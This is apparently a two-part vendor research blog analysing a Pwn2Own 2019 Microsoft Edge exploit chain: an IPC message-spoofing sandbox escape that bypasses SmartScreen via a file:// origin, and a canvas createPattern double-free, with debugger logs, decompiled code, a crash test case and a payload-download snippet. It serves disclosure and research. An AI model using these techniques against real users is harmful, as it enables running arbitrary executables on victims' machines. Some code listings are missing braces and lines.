Pwn2Own 2019: Microsoft Edge Sandbox Escape (CVE-2019-0938). Part 2

Author: Arthur Gerkis

This is the second part of the blog post on the Microsoft Edge full-chain exploit. It provides analysis and describes exploitation of a logical vulnerability in the implementation of the Microsoft Edge browser sandbox which allows arbitrary code execution with Medium Integrity Level.


Microsoft Edge employs various Inter-Process Communication (IPC) mechanisms to communicate between content processes, the Manager process and broker processes. The one IPC mechanism relevant to the described vulnerability is implemented as a set of custom message passing functions which extend the standard Windows API PostMessage() function. These functions look like the following:

  • edgeIso!IsoPostMessage(ulong, ulong, ulong, ulong, ulong, _GUID)
  • edgeIso!IsoPostMessageUsingDataInBuffer(ulong, bool)
  • edgeIso!IsoPostMessageUsingVirtualAddress(ulong, ulong, ulong, ulong, uchar *, ulong)
  • edgeIso!IsoPostMessageWithoutBuffer(ulong, ulong, ulong, ulong, _GUID)
  • edgeIso!LCIEPostMessage(ulong, ulong, ulong, ulong, ulong)
  • edgeIso!LCIEPostMessageWithDISPPARAMS(ulong, ulong, uint, ulong, long, tagDISPPARAMS *, int)
  • edgeIso!LCIEPostMessageWithoutBuffer(ulong, ulong, ulong, ulong)

The listed functions are used to send messages with or without data and are stateless. No direct way to get the result of an operation is supported. The functions return only the result of the message posting operation, which does not guarantee that the requested action has completed successfully. The main goal of these functions is to trigger certain events (e.g. when a user is clicking on the navigation panel), signal state information, and notification of user interface changes.

Messages are sent to the windows of the current process or the windows of the Manager process. A call to PostMessage() is chosen when the message is sent to the current process. For the inter-process messaging a shared memory section and Windows events are employed. The implementation details are hidden from the developer and the direction of the message is chosen based on the value of the window handle. Each message has a unique identifier which denotes the kind of action to perform as a response to the trigger.

Messages that are supposed to be created as a reaction to a user triggered event are passed from one function to another through the virtual layer of different handlers. These handlers process the message and may pass the message further with a different message identifier.

The Vulnerability

The Microsoft Edge Manager process accepts messages from other processes, including content process. Some messages are meant to be run only internally, without crossing process boundaries. A content process can send messages which are supposed to be sent only within the Manager process. If such a message arrives from a content process, it is possible to forge user clicks and thus download and launch an arbitrary binary.

When the download of an executable file is initiated (either by JavaScript code or by user request) the notification bar with buttons appears and the user is offered three options: “Run” to run the offered file, “Download” to download, or “Cancel” to cancel. If the user clicks “Run”, a series of messages are posted from one Manager process window to another. It is possible to see what kind of messages are passed in the debugger by using following breakpoints:

bu edgeIso!LCIEPostMessage ".printf \"\\n---\\n%y(%08x, %08x, %08x, ...)\\n\", @rip, @rcx, @rdx, @r8; k L10; g"
bu edgeIso!LCIEPostMessageWithoutBuffer ".printf \"\\n---\\n%y(%08x, %08x, %08x, ...)\\n\", @rip, @rcx, @rdx, @r8; k L10; g"
bu edgeIso!LCIEPostMessageWithDISPPARAMS ".printf \"\\n---\\n%y(%08x, %08x, %08x, ...)\\n\", @rip, @rcx, @rdx, @r8; k L10; g"
bu edgeIso!IsoPostMessage ".printf \"\\n---\\n%y(%08x, %08x, %08x, ...)\\n\", @rip, @rcx, @rdx, @r8; k L10; g"
bu edgeIso!IsoPostMessageWithoutBuffer ".printf \"\\n---\\n%y(%08x, %08x, %08x, ...)\\n\", @rip, @rcx, @rdx, @r8; k L10; g"
bu edgeIso!IsoPostMessageUsingVirtualAddress ".printf \"\\n---\\n%y(%08x, %08x, %08x, ...)\\n\", @rip, @rcx, @rdx, @r8; k L10; g"

There are a large number of messages sent during the navigation and subsequent file download, which forms a complex order of actions. The following list represents a simplified description of the actions performed by either a content process (CP) or the Manager process (MP) during ordinary user activities:

  1. a user clicks on a link to navigate (or the navigation is triggered by JavaScript code)
  2. a navigation event is fired (messages sent from CP to MP)
  3. messages for the modal download notification bar creation and handling are sent (CP to MP)
  4. the modal notification bar appears
  5. messages to handle the navigation and the state of the history are sent (CP to MP)
  6. messages are sent to handle DOM events (CP to MP)
  7. the download is getting handled again; messages with relevant download information are passed (CP to MP)
  8. the user clicks “Run” to run the file download
  9. messages are sent about the state of the download (MP to CP)
  10. the CP responds with updated file download information and terminates download handling in its own process
  11. the MP picks up file download handling and starts sending messages to its own Windows (MP to MP)
  12. the MP starts the security scan of the downloaded file (MP to MP)
  13. if the scan has completed successfully, a message is sent to the broker process to run the file
  14. the “browser_broker.exe” broker process launches the executable file

The first message in the series of calls is the response to the user’s click and it initiates the actual series of message passing events. Next follows a message which is important for the exploit because the call stack includes the function which the exploit will imitate. Excerpt of the debugger log file looks like the following:

edgeIso!LCIEPostMessage (00007ffe`d46ab110)(00000402, 00000402, 00000c65, ...)
 # Child-SP          RetAddr           Call Site
00 0000005d`65cfe928 00007ffe`af8de928 edgeIso!LCIEPostMessage
01 0000005d`65cfe930 00007ffe`af696d18 EMODEL!DownloadStateProgress::LCIESendToDownloadManager+0x118
02 0000005d`65cfe9b0 00007ffe`af696b1d EMODEL!CDownloadSecurity::_SendStateChangeMessage+0xe0
03 0000005d`65cfead0 00007ffe`af6954f5 EMODEL!CDownloadSecurity::_OnSecurityChecksComplete+0xa5
04 0000005d`65cfeb00 00007ffe`af6878c8 EMODEL!CDownloadSecurity::OnSecurityCheckCallback+0x45
05 0000005d`65cfeb30 00007ffe`af686dc2 EMODEL!CDownloadManager::OnDownloadSecurityCallback+0x58
06 0000005d`65cfeb70 00007ffe`af4604b7 EMODEL!CDownloadManager::HandleDownloadMessage+0x11e
07 0000005d`65cfed40 00007ffe`d469cccf EMODEL!LCIEAuthority::LCIEAuthorityManagerWinProc+0x2067
08 0000005d`65cff410 00007ffe`d469d830 edgeIso!IsoDispatchMessageToArtifacts+0x54f
09 0000005d`65cff520 00007fff`08506d41 edgeIso!_IsoThreadMessagingWindowProc+0x1f0

The last message sent is important as well, it has the identifier 0xd6b and it initiates running the file. Excerpt of the debugger log file looks like the following:

edgeIso!IsoPostMessage (00007ffe`d46ad8c0)(00000402, 00000402, 00000d6b, ...)
 # Child-SP          RetAddr           Call Site
00 0000005d`656fefc8 00007ffe`af62b4c6 edgeIso!IsoPostMessage
01 0000005d`656fefd0 00007ffe`af62b962 EMODEL!TFlatIsoMessage<DownloadOperation>::Post+0x9a
02 0000005d`656ff040 00007ffe`af62b7bf EMODEL!SpartanCore::DownloadsHandler::SendCommand+0x4e
03 0000005d`656ff0b0 00007ffe`af62ac07 EMODEL!SpartanCore::DownloadsHandler::ReportLaunchFailure+0xc3
04 0000005d`656ff110 00007ffe`af43be99 EMODEL!SpartanCore::DownloadsHandler::InvokeCommand+0x117
05 0000005d`656ff190 00007ffe`af43f0c3 EMODEL!CLayerBase::InvokeCommand+0x159
06 0000005d`656ff210 00007ffe`af43e78a EMODEL!CAsyncBoundaryLayer::_ProcessRequest+0x503
07 0000005d`656ff340 00007fff`08506d41 EMODEL!CAsyncBoundaryLayer::s_WndProc+0x19a
08 0000005d`656ff480 00007fff`08506713 USER32!UserCallWinProcCheckWow+0x2c1
09 0000005d`656ff610 00007fff`016ffef4 USER32!DispatchMessageWorker+0x1c3

The message sent by SpartanCore::DownloadsHandler::SendCommand() is spoofed by the exploit code.

Exploit Development

The exploit code is completely implemented in Javascript and calls the required native functions from Javascript.

The exploitation process can be divided into the following stages:

  1. changing location origin of the current document
  2. executing the JavaScript code which offers to run the download file
  3. posting a message to the Manager process which triggers the file to be run
  4. restoring original location.

Depending on the location of the site, the Edge browser may warn the user about potentially unsafe file download. In the case of internet sites, the user is always warned. As well the Edge browser checks the referrer of the download and may refuse to run the downloaded file even when the user has explicitly chosen to run the file. Additionally, the downloaded file is scanned with Microsoft Windows Defender SmartScreen which blocks any file from running if the file is considered malicious. This prevents a successful attack.

However, when a download is initiated from the “file://” URL and the download referrer is also from the secure zone (or without a zone as is the case with the “blob:” protocol), the downloaded file is not marked with the “Mark of the Web” (MotW). This completely bypasses checks by Microsoft Defender SmartScreen and allows running the downloaded file without any restrictions.

For the first step the exploit finds the current site URL and overwrites it with a “file:///” zone URL. The URL of the site is found by reading relevant pointers in memory. After the site URL is overwritten, the renderer process treats any download that is coming from the current site as coming from the “file:///” zone.

For the second step the exploit executes the JavaScript code which fetches the download file from the remote server and offers it as a download:

let anchorElement = document.createElement('a');
fetch('payload.bin').then((response) => {
    (blobData) => {
      anchorElement.href = URL.createObjectURL(blobData); = 'payload.exe';;

The executed JavaScript initiates the file download and internally the Edge browser caches the file and keeps a temporary copy as long as the user has not responded to the download notification bar. Before any file download, a Globally Unique Identifier (GUID) is created for the actual download file. The Edge browser recognizes downloads not by the filename or the path, but by the download GUID. Messages which send commands to do any file operation must pass the GUID of the actual file. Therefore it is required to find the actual file download GUID. The required GUID is created by the content process during the call to EdgeContent!CDownloadState::Initialize():

.text:0000000180058CF0 public: long CDownloadState::Initialize(class CInterThreadMarshal *, struct IStream *, unsigned short const *, struct _GUID const &, unsigned short const *, struct IFetchDownloadContext *) proc near
.text:0000000180058E6F loc_180058E6F:
.text:0000000180058E6F                 mov     edi, 8007000Eh
.text:0000000180058E74                 test    rbx, rbx
.text:0000000180058E77                 jz      loc_180058FF0
.text:0000000180058E7D                 test    r13b, r13b
.text:0000000180058E80                 jnz     short loc_180058E93
.text:0000000180058E82                 lea     rcx, [rsi+74h]  ; pguid
.text:0000000180058E86                 call    cs:__imp_CoCreateGuid

Next follows the call to EdgeContent!DownloadStateProgress::LCIESendToDownloadManager(). This function packs all the relevant download data (such as the current URL, path to the cache file, the referrer, name of the file, and the mime type of the file), adds padding for the meta-data, creates the so called “message buffer” and sends it to the Manager process via a call to LCIEPostMessage(). As this message is getting posted to another process, all the data is eventually placed at the shared memory section and is available for reading and writing by both the content and Manager processes. The message buffer is eventually populated with the download file GUID.

The described operation performed by DownloadStateProgress::LCIESendToDownloadManager() is important for the exploit as it indirectly leaks the address of the message buffer and the relevant download file GUID.

The allocation address of the message buffer depends on the size of the message. There are several ranges of sizes:

  • 0x0 to 0x20 bytes: unsupported (message posting fails)
  • 0x20 to 0x1d0 bytes: first slot
  • 0x1d4 to 0xfd0 bytes: second slot
  • from 0x1fd4 bytes: last slot

If the previous message with the same size slot was freed, the new message is allocated at the same address. The specifics of the message buffer allocator allows leaking the address of the next buffer without the risk of failure. After the file download is triggered, the exploit gets the address of the message buffer. After the address of the message buffer is retrieved, it is possible to parse the message buffer and extract relevant data (such as the cache path and the file download GUID).

The last important step is to send a message which triggers the browser to run the downloaded file (the actual file operation is performed by the browser broker “browser_broker.exe”) with Medium Integrity Level. The exploit code which performs the current step is borrowed from eModel!TFlatIsoMessage<DownloadOperation>::Post():

__int64 __fastcall TFlatIsoMessage<DownloadOperation>::Post(
    unsigned int a1,
    unsigned int a2,
    __int64 a3,
    __int64 a4,
    __int64 a5
    unsigned int v5; // esi
    unsigned int v6; // edi
    signed int result; // ebx
    __int64 isoMessage_; // r8
    __m128i threadStateGUID; // xmm0
    unsigned int v11; // [rsp+20h] [rbp-48h]
    __int128 tmpThreadStateGUID; // [rsp+30h] [rbp-38h]
    __int64 isoMessage; // [rsp+40h] [rbp-28h]
    unsigned int msgBuffer; // [rsp+48h] [rbp-20h]

    v5 = a2;
    v6 = a1;
    result = IsoAllocMessageBuffer(a1, &msgBuffer, 0x48u, &isoMessage);
    if ( result >= 0 )
        isoMessage_ = isoMessage;
        *(isoMessage + 0x20) = *a5;
        *(isoMessage_ + 0x30) = *(a5 + 0x10);
        *(isoMessage_ + 0x40) = *(a5 + 0x20);
        threadStateGUID = *GlobalThreadState();
        v11 = msgBuffer;
        _mm_storeu_si128(&tmpThreadStateGUID, threadStateGUID);
        result = IsoPostMessage(v6, v5, 0xD6Bu, 0, v11, &tmpThreadStateGUID);
        if ( result < 0 )
    return result;

Last, the exploit recovers the original site URL to avoid any potential artifacts and sends messages to remove the download notification bar.

Open problems

The only issue with the exploit is that a small popup will appear for a split second before the exploit has sent a message to click the popup button. Potentially it is possible to avoid this popup by sending a different set of messages which does not require a popup to be present.


There are no trivial methods to detect exploitation of the described vulnerability as the exploit code does not require any kind of particularly notable data and is not performing any kind of exceptional activity.


The exploit is developed in Javascript, but there is a possibility to develop an exploit not based on Javascript which makes it non-trivial to mitigate the issue with 100% certainty.

For exploits developed in Javascript, it is possible to mitigate this issue by disabling Javascript.

The described vulnerability was patched by Microsoft in the May updates.


The sandbox escape exploit part is 100% reliable and portable—thus requiring almost no effort to keep it compatible with different browser versions.

Here is the video demonstrating the full exploit-chain in action:

For demonstration purposes, the exploit payload writes a file named “w00t.txt” to the user desktop, opens this file with notepad and shows a message box with the integrity level of the “payload.exe”.

Subscribers of the Exodus 0day Feed had access to this exploit for penetration tests and implementing protections for their stakeholders.

Pwn2Own 2019: Microsoft Edge Renderer Exploitation (CVE-2019-0940). Part 1

Author: Arthur Gerkis

This year Exodus Intelligence participated in the Pwn2Own competition in Vancouver. The chosen target was the Microsoft Edge browser and a full-chain browser exploit was successfully demonstrated. The exploit consisted of two parts:

  • renderer double-free vulnerability exploit achieving arbitrary read-write
  • logical vulnerability sandbox escape exploit achieving arbitrary code execution with Medium Integrity Level

This blog post describes the exploitation of the double-free vulnerability in the renderer process of Microsoft Edge 64-bit. Part 2 will describe the sandbox escape vulnerability.

The Vulnerability

The vulnerability is located in the Canvas 2D API component which is responsible for creating canvas patterns. The crash is triggered with the following JavaScript code:

let canvas = document.createElement('canvas');
let ctx = canvas.getContext('2d');

// Allocate canvas pattern objects and populate hash table.
for (let i = 0; i < 31; i++) {
  ctx.createPattern(canvas, 'no-repeat');

// Here the canvas pattern objects will be freed.

// This is causing internal OOM error.
canvas.setAttribute('height', 0x4000);
canvas.setAttribute('width', 0x4000);

// This will partially initialize canvas pattern object and trigger double-free.
try {
  ctx.createPattern(canvas, 'no-repeat');
} catch (e) {


If you run this test-case, you may notice that the crash does not happen always, several attempts may be required. In one of the next sections it will be explained why.

With the page heap enabled, the crash would look like this:

(470.122c): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
00007ffd`2e5cd820 834708ff        add     dword ptr [rdi+8],0FFFFFFFFh ds:00000249`2681fff8=????????
0:016> r
rax=000002490563a4a0 rbx=0000000000000000 rcx=0000000000000000
rdx=0000000000000000 rsi=000000798c7fa710 rdi=000002492681fff0
rip=00007ffd2e5cd820 rsp=000000798c7fa680 rbp=0000000000000000
 r8=0000000000000000  r9=0000024909747758 r10=0000000000000000
r11=0000000000000025 r12=00007ffd2e999310 r13=0000024904993930
r14=0000024909747758 r15=0000000000000002
iopl=0         nv up ei pl nz na po nc
cs=0033  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010206
00007ffd`2e5cd820 834708ff        add     dword ptr [rdi+8],0FFFFFFFFh ds:00000249`2681fff8=????????
0:016> k L7
 # Child-SP          RetAddr           Call Site
00 00000079`8c7fa680 00007ffd`2e5c546d edgehtml!TDispResourceCache<CDispNoLock,1,0>::Remove+0x60
01 00000079`8c7fa6b0 00007ffd`2f054ad8 edgehtml!CDXSystemShared::RemoveDisplayResourceFromCache+0x6d
02 00000079`8c7fa710 00007ffd`2f054b54 edgehtml!CCanvasPattern::~CCanvasPattern+0x34
03 00000079`8c7fa740 00007ffd`2e7ac4d9 edgehtml!CCanvasPattern::`vector deleting destructor'+0x14
04 00000079`8c7fa770 00007ffd`2eb2703c edgehtml!CBase::PrivateRelease+0x159
05 00000079`8c7fa7b0 00007ffd`2f053584 edgehtml!TSmartPointer<CCanvasPattern,CStrongReferenceTraits,CCanvasPattern * __ptr64>::~TSmartPointer<CCanvasPattern,CStrongReferenceTraits,CCanvasPattern * __ptr64>+0x18
06 00000079`8c7fa7e0 00007ffd`2f050755 edgehtml!CCanvasRenderingProcessor2D::CreatePatternInternal+0xd8
0:016> ub @rip;u @rip
00007ffd`2e5cd806 488b742440      mov     rsi,qword ptr [rsp+40h]
00007ffd`2e5cd80b 488b7c2448      mov     rdi,qword ptr [rsp+48h]
00007ffd`2e5cd810 4883c420        add     rsp,20h
00007ffd`2e5cd814 415e            pop     r14
00007ffd`2e5cd816 c3              ret
00007ffd`2e5cd817 488b7808        mov     rdi,qword ptr [rax+8]
00007ffd`2e5cd81b 4885ff          test    rdi,rdi
00007ffd`2e5cd81e 74d5            je      edgehtml!TDispResourceCache<CDispNoLock,1,0>::Remove+0x35 (00007ffd`2e5cd7f5)
00007ffd`2e5cd820 834708ff        add     dword ptr [rdi+8],0FFFFFFFFh
00007ffd`2e5cd824 488b0f          mov     rcx,qword ptr [rdi]
00007ffd`2e5cd827 0f85dbe04e00    jne     edgehtml!TDispResourceCache<CDispNoLock,1,0>::Remove+0x4ee148 (00007ffd`2eabb908)
00007ffd`2e5cd82d 48891f          mov     qword ptr [rdi],rbx
00007ffd`2e5cd830 488bd5          mov     rdx,rbp
00007ffd`2e5cd833 48890e          mov     qword ptr [rsi],rcx
00007ffd`2e5cd836 498bce          mov     rcx,r14
00007ffd`2e5cd839 e8b2f31500      call    edgehtml!CHtPvPvBaseT<&nullCompare,HashTableEntry>::Remove (00007ffd`2e72cbf0)
0:016> !heap -p -a @rdi
    address 000002492681fff0 found in
    _DPH_HEAP_ROOT @ 2497e601000
    in free-ed allocation (  DPH_HEAP_BLOCK:         VirtAddr         VirtSize)
                                249259795b0:      2492681f000             2000
    00007ffd51857608 ntdll!RtlDebugFreeHeap+0x000000000000003c
    00007ffd517fdd5e ntdll!RtlpFreeHeap+0x000000000009975e
    00007ffd5176286e ntdll!RtlFreeHeap+0x00000000000003ee
    00007ffd2e5cd871 edgehtml!TDispResourceCache<CDispNoLock,1,0>::CacheEntry::`scalar deleting destructor'+0x0000000000000021
    00007ffd2e5cd846 edgehtml!TDispResourceCache<CDispNoLock,1,0>::Remove+0x0000000000000086
    00007ffd2e5c546d edgehtml!CDXSystemShared::RemoveDisplayResourceFromCache+0x000000000000006d
    00007ffd2f054ad8 edgehtml!CCanvasPattern::~CCanvasPattern+0x0000000000000034
    00007ffd2f054b54 edgehtml!CCanvasPattern::`vector deleting destructor'+0x0000000000000014
    00007ffd2e7ac4d9 edgehtml!CBase::PrivateRelease+0x0000000000000159
    00007ffd2e89f579 edgehtml!CJScript9Holder::CBaseFinalizer+0x00000000000000a9
    00007ffd2de66f5d chakra!Js::CustomExternalObject::Dispose+0x000000000000002d
    00007ffd2de3c012 chakra!Memory::SmallFinalizableHeapBlockT<SmallAllocationBlockAttributes>::ForEachPendingDisposeObject<<lambda_37407f4cdaf1d704a79fcdd974872764> >+0x0000000000000092
    00007ffd2de3bf0b chakra!Memory::HeapInfo::DisposeObjects+0x000000000000013b
    00007ffd2de81faa chakra!Memory::Recycler::DisposeObjects+0x0000000000000096
    00007ffd2de81e9a chakra!ThreadContext::DisposeObjects+0x000000000000004a
    00007ffd2dd5ac35 chakra!Js::JavascriptExternalFunction::ExternalFunctionThunk+0x00000000000003a5
    00007ffd2dea7956 chakra!amd64_CallFunction+0x0000000000000086
    00007ffd2dd5f9d0 chakra!Js::InterpreterStackFrame::OP_CallCommon<Js::OpLayoutDynamicProfile<Js::OpLayoutT_CallIWithICIndex<Js::LayoutSizePolicy<0> > > >+0x00000000000002f0
    00007ffd2dd5fac8 chakra!Js::InterpreterStackFrame::OP_ProfiledCallIWithICIndex<Js::OpLayoutT_CallIWithICIndex<Js::LayoutSizePolicy<0> > >+0x00000000000000b8
    00007ffd2dd5fd41 chakra!Js::InterpreterStackFrame::ProcessProfiled+0x0000000000000161
    00007ffd2dd48a21 chakra!Js::InterpreterStackFrame::Process+0x00000000000000e1
    00007ffd2dd486ff chakra!Js::InterpreterStackFrame::InterpreterHelper+0x000000000000088f
    00007ffd2dd4775e chakra!Js::InterpreterStackFrame::InterpreterThunk+0x000000000000004e
    00000249226f1fb2 +0x00000249226f1fb2

Vulnerability Analysis

Javascript createPattern() triggers the native CCanvasRenderingProcessor2D::CreatePatternInternal() call:

__int64 __fastcall CCanvasRenderingProcessor2D::CreatePatternInternal(
	CCanvasRenderingProcessor2D *this,
	struct CBase *a2,
	const unsigned __int16 *a3,
	struct CCanvasPattern **a4)
    CCanvasRenderingProcessor2D *this_; // rsi
    struct CCanvasPattern **v5; // r14
    const unsigned __int16 *v6; // rbp
    struct CBase *v7; // r15
    void *ptr; // rax
    CBaseScriptable *canvasPattern; // rbx
    struct CSecurityContext *v10; // rax
    signed int hr; // edi
    CBaseScriptable *canvasPattern_; // [rsp+30h] [rbp-28h]

    this_ = this;
    v5 = a4;
    v6 = a3;
    v7 = a2;
    ptr = MemoryProtection::HeapAllocClear<1>(0x50ui64);
    canvasPattern = Abandonment::CheckAllocationUntyped(ptr, 0x50ui64);
    if ( canvasPattern )
        v10 = Tree::ANode::SecurityContext(*(*(this_ + 1) + 0x30i64));
        CBaseScriptable::CBaseScriptable(canvasPattern, v10);
        *canvasPattern = &CCanvasPattern::`vftable`;
        *(canvasPattern + 7) = 0i64; // `CCanvasPattern::Data`
        *(canvasPattern + 8) = 0i64;
        *(canvasPattern + 0x12) = 0;
        canvasPattern = 0i64;
    canvasPattern_ = canvasPattern;
    hr = CCanvasRenderingProcessor2D::EnsureBitmapRenderTarget(this_, 0); // this may fail
    if ( hr >= 0 )
        hr = CCanvasPattern::Initialize(canvasPattern, v7, v6, *(*(this_ + 1) + 0x30i64), *(this_ + 0x20));
        if ( hr >= 0 )
            if ( *(canvasPattern + 0x4C) )
                canvasPattern = 0i64;
                canvasPattern_ = 0i64;
            *v5 = canvasPattern;
    TSmartPointer<CMediaStreamError,CStrongReferenceTraits,CMediaStreamError *>::~TSmartPointer<CMediaStreamError,CStrongReferenceTraits,CMediaStreamError *>(&canvasPattern_);
    return hr;

On line 21 the heap manager allocates space for the canvas pattern object and on the following lines certain members are set to 0. It is important to note the CCanvasPattern::Data member is populated on line 28.

Next follows a call to the CCanvasRenderingProcessor2D::EnsureBitmapRenderTarget() method which is responsible for video memory allocation for the canvas pattern object on a target device. In certain cases this method returns an error. For the given vulnerability the bug is triggered when Windows GDI D3DKMTCreateAllocation() returns the error STATUS_GRAPHICS_NO_VIDEO_MEMORY (error code 0xc01e0100). Setting width and height of the canvas object to huge values can cause the video device to return an out-of-memory error. The following call stack shows the path which is taken after the width and height of the canvas object have been set to the large values and after consecutive calls to createPattern():

Breakpoint 1 hit
00007ffe`67a72940 48895c2420      mov     qword ptr [rsp+20h],rbx ss:000000b3`f59f82b8=000000000000b670
0:015> k
 # Child-SP          RetAddr           Call Site
00 000000b3`f59f8298 00007ffe`61fd598e GDI32!D3DKMTCreateAllocation
01 000000b3`f59f82a0 00007ffe`61fd39b5 d3d11!CallAndLogImpl<long (__cdecl*)(_D3DKMT_CREATEALLOCATION * __ptr64),_D3DKMT_CREATEALLOCATION * __ptr64>+0x1e
02 000000b3`f59f8300 00007ffe`605a1b4f d3d11!NDXGI::CDevice::AllocateCB+0x105
03 000000b3`f59f84c0 00007ffe`605a24dc vm3dum64_10+0x1b4f
04 000000b3`f59f8540 00007ffe`605ab258 vm3dum64_10+0x24dc
05 000000b3`f59f86a0 00007ffe`605ac163 vm3dum64_10!OpenAdapterWrapper+0x1b8c
06 000000b3`f59f8750 00007ffe`61fc3ce2 vm3dum64_10!OpenAdapterWrapper+0x2a97
07 000000b3`f59f87d0 00007ffe`61fc3a13 d3d11!CResource<ID3D11Texture2D1>::CLS::FinalConstruct+0x2b2
08 000000b3`f59f8b70 00007ffe`61fb98ba d3d11!TCLSWrappers<CTexture2D>::CLSFinalConstructFn+0x43
09 000000b3`f59f8bb0 00007ffe`61fbd107 d3d11!CDevice::CreateLayeredChild+0x2bca
0a 000000b3`f59fa410 00007ffe`61fbcf73 d3d11!NDXGI::CDeviceChild<IDXGIResource1,IDXGISwapChainInternal>::FinalConstruct+0x43
0b 000000b3`f59fa480 00007ffe`61fbca1c d3d11!NDXGI::CResource::FinalConstruct+0x3b
0c 000000b3`f59fa4d0 00007ffe`61fbd3c0 d3d11!NDXGI::CDevice::CreateLayeredChild+0x1bc
0d 000000b3`f59fa640 00007ffe`61fb43bb d3d11!NOutermost::CDevice::CreateLayeredChild+0x1b0
0e 000000b3`f59fa820 00007ffe`61fb297c d3d11!CDevice::CreateTexture2D_Worker+0x4cb
0f 000000b3`f59fade0 00007ffe`46cd68db d3d11!CDevice::CreateTexture2D+0xac
10 000000b3`f59fae70 00007ffe`46cd3dcd edgehtml!CDXResourceDomain::CreateTexture+0xfb
11 000000b3`f59faf20 00007ffe`46cd3d5e edgehtml!CDXSystem::CreateTexture+0x59
12 000000b3`f59faf70 00007ffe`46ed2dda edgehtml!CDXTextureTargetSurface::OnEnsureResources+0x15e
13 000000b3`f59fb010 00007ffe`46ed2e78 edgehtml!CDXTargetSurface::EnsureResources+0x32
14 000000b3`f59fb050 00007ffe`46ed2c71 edgehtml!CDXRenderTarget::EnsureResources+0x68
15 000000b3`f59fb0a0 00007ffe`46da4ba4 edgehtml!CDXRenderTarget::BeginDraw+0x81
16 000000b3`f59fb100 00007ffe`470180b5 edgehtml!CDXTextureRenderTarget::BeginDraw+0x34
17 000000b3`f59fb170 00007ffe`46cd8033 edgehtml!CDispSurface::BeginDraw+0xf5
18 000000b3`f59fb1d0 00007ffe`46cd7fa6 edgehtml!CCanvasRenderingProcessor2D::OpenBitmapRenderTarget+0x6b
19 000000b3`f59fb230 00007ffe`47831881 edgehtml!CCanvasRenderingProcessor2D::EnsureBitmapRenderTarget+0x52
1a 000000b3`f59fb260 00007ffe`4782eaa5 edgehtml!CCanvasRenderingProcessor2D::CreatePatternInternal+0x85
1b 000000b3`f59fb2c0 00007ffe`47539d46 edgehtml!CCanvasRenderingContext2D::Var_createPattern+0xc5
1c 000000b3`f59fb330 00007ffe`47174135 edgehtml!CFastDOM::CCanvasRenderingContext2D::Trampoline_createPattern+0x52
1d 000000b3`f59fb380 00007ffe`464dc47e edgehtml!CFastDOM::CCanvasRenderingContext2D::Profiler_createPattern+0x25
0:015> pt
00007ffe`67a72ace c3              ret
0:015> r
rax=00000000c01e0100 rbx=000000b3f59f8508 rcx=1756445c6ae30000
rdx=0000000000000000 rsi=0000000000000000 rdi=00007ffe62186ae0
rip=00007ffe67a72ace rsp=000000b3f59f8298 rbp=000000b3f59f8530
 r8=000000b3f59f81c8  r9=000000b3f59f84e0 r10=0000000000000000
r11=0000000000000246 r12=0000000000000000 r13=0000000000000000
r14=000002ae9f3326c8 r15=0000000000000000
iopl=0         nv up ei pl nz na pe nc
cs=0033  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000202
00007ffe`67a72ace c3              ret

A requirement to trigger the error is that the target hardware has an integrated video card or a video card with low memory. Such conditions are met on the VMWare graphics pseudo-hardware or on some budget devices. It is potentially possible to trigger other errors which do not depend on the target hardware resources as well.

Under normal conditions (i.e. the call to CCanvasRenderingProcessor2D::EnsureBitmapRenderTarget() method does not return any error) the CCanvasPattern::Initialize() method is called:

__int64 __fastcall CCanvasPattern::Initialize(
	CCanvasPattern *this,
	struct CBase *a2,
	const unsigned __int16 *a3,
	struct CHTMLCanvasElement *a4,
	struct CDispSurface *dispSurface
    struct CHTMLCanvasElement *canvasElement; // rbp
    const unsigned __int16 *v6; // rsi
    struct CBase *base; // rdi
    CCanvasPattern *this_; // rbx
    void *ptr; // rax
    char *canvasPatternData; // rax
    __int64 v11; // rdx
    __int64 v12; // r8
    __int64 v13; // rcx
    int initKind; // eax

    canvasElement = a4;
    v6 = a3;
    base = a2;
    this_ = this;

    // code omitted for brevity

    ptr = MemoryProtection::HeapAlloc<0>(0x20ui64);
    canvasPatternData = Abandonment::CheckAllocationUntyped(ptr, 0x20ui64);
    if ( canvasPatternData )
        *(canvasPatternData + 0xC) = 0i64;
        *canvasPatternData = &RefCounted<CCanvasPattern::Data,MultiThreadedRefCount>::`vftable`;
        *(canvasPatternData + 6) = 1;
        canvasPatternData = 0i64;

    *(this_ + 7) = canvasPatternData; // member initialized
    // code omitted for brevity

    if ( v6 && *v6 )
        if ( !MapCanvasStringToEnum<enum  CCanvasPattern::Repetition>(v6, v11, v12, (*(this_ + 7) + 8i64)) )
            return 0x8070000Ci64;
        *(*(this_ + 7) + 8i64) = 0;

    // code omitted for brevity

    initKind = (*(*base + 0x2A8i64))(base);
    switch ( initKind )
        case 0x10C7:
            return CCanvasPattern::InitializeFromImage(this_, base, canvasElement, dispSurface);
        case 0x10B4:
            return CCanvasPattern::InitializeFromCanvas(this_, base); // is called
        case 0x10F1:
            return CCanvasPattern::InitializeFromVideo(this_, base);
    return 0x80700011i64;

On line 40 one of the canvas pattern object members is set to point to the CCanvasPattern::Data object.

During the call to the CCanvasPattern::InitializeFromCanvas() method, a chain of calls follows. This eventually leads to a call of the following method:

__int64 __fastcall CDXSystemShared::AddDisplayResourceToCache(
	__int64 a1,
	__int64 a2,
	__int64 a3,
	_BYTE *a4,
	unsigned int a5
    __int64 v5; // rsi
    __int64 v6; // rbp
    _BYTE *v7; // rdi
    __int64 v8; // r14
    unsigned int v9; // ebx
    void (__fastcall ***v11)(_QWORD, __int64, _BYTE *); // [rsp+20h] [rbp-28h]
    void **v12; // [rsp+28h] [rbp-20h]
    __int64 v13; // [rsp+30h] [rbp-18h]
    char v14; // [rsp+38h] [rbp-10h]

    v5 = a2;
    v13 = 0i64;
    v6 = a1;
    v12 = &CDXRenderLock::`vftable`;
    v14 = 1;
    v7 = a4;
    v8 = a3;
    CDXRenderLockBase::Acquire(&v12, 2);
    if ( a5 != 2 || (*(*v7 + 0x18i64))(v7) == 0x8210 || (*(*v7 + 0x18i64))(v7) == 0x16 && v7[0x144] & 4 )
        v9 = CDXSystemShared::GetResourceCache(v6, v5, a5, &v11);
        if ( (v9 & 0x80000000) == 0 )
            (**v11)(v11, v8, v7); // TDispResourceCache<CDispNoLock,1,0>::Add
        v9 = 0x8000FFFF;
    return v9;

The above method adds a display resource to the cache. In the current case, the display resource is the DXImageRenderTarget object and the cache is a hash table which is implemented in the TDispResourceCache class.

